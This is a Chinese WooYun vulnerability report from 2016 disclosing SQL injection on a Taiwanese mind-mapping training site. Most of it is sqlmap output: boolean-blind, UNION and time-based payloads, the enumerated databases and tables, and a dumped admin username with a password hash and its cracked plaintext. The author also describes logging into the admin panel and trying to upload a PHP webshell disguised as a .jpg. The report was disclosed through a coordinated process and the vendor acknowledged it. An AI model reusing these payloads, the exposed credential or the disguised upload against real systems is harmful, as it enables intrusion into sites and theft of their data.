当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0171682

漏洞标题：台灣心智圖法主站SQL注入（已入后台）（臺灣地區）

相关厂商：心智圖法

漏洞作者： 路人甲

提交时间：2016-01-21 17:49

修复时间：2016-03-05 09:52

公开时间：2016-03-05 09:52

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：11

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-21： 细节已通知厂商并且等待厂商处理中
2016-01-21： 厂商已经确认，细节仅向厂商公开
2016-01-31： 细节向核心白帽子及相关领域专家公开
2016-02-10： 细节向普通白帽子公开
2016-02-20： 细节向实习白帽子公开
2016-03-05： 细节向公众公开

简要描述：

详细说明：

注入点：

http://**.**.**.**/index.php?do=show&page=3-3&id=2


Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: do=show&page=3-3&id=2 AND 6193=6193
    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: do=show&page=3-3&id=-2494 UNION SELECT NULL, NULL, NULL, NULL, N
, NULL, NULL, NULL, CONCAT(0x3a7373763a,0x504c625179504a455861,0x3a69646c3a),
LL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: do=show&page=3-3&id=2 AND SLEEP(5)
---
[15:53:47] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[15:53:47] [INFO] fetching current user
current user:    'mindmapp@%'


available databases [2]:
[*] information_schema
[*] mindmapping


Database: mindmapping
[21 tables]
+---------------------------------------+
| bz_admin                              |
| bz_case                               |
| bz_client                             |
| bz_config                             |
| bz_ebook                              |
| bz_faq                                |
| bz_news                               |
| bz_rank                               |
| bz_realreport                         |
| bz_sector                             |
| bz_share                              |
| bz_story                              |
| bz_student                            |
| bz_subscribe                          |
| bz_testimonia                         |
| bz_timedate                           |
| bz_timetable                          |
| bz_trainer                            |
| ip2nation                             |
| nation2country                        |
| webstats                              |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+


爆admin

Database: mindmapping
+----------+---------+
| Table    | Entries |
+----------+---------+
| bz_admin | 1       |
+----------+---------+


Table: bz_admin
[1 entry]
+----------------------------------+----------+
| password                         | username |
+----------------------------------+----------+
| 4e77c53024fe63740d91709c1fd77d7e(780325) | alice    |
+----------------------------------+----------+


解密780325
来登入后台

http://**.**.**.**/admin/


Z_AES{_{3W_08BZCW_P)`8E.png


3K6FB@[NP4}5LOTK(6`1GW8.png


阿帕奇中间件，php脚本，但是处处检测

http://**.**.**.**/uploadfiles/123dorr.php;_160121.jpg


最终没能解析成功

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2016-01-21 22:54

厂商回复：

感謝通報！

最新状态：

暂无

漏洞评价：

评价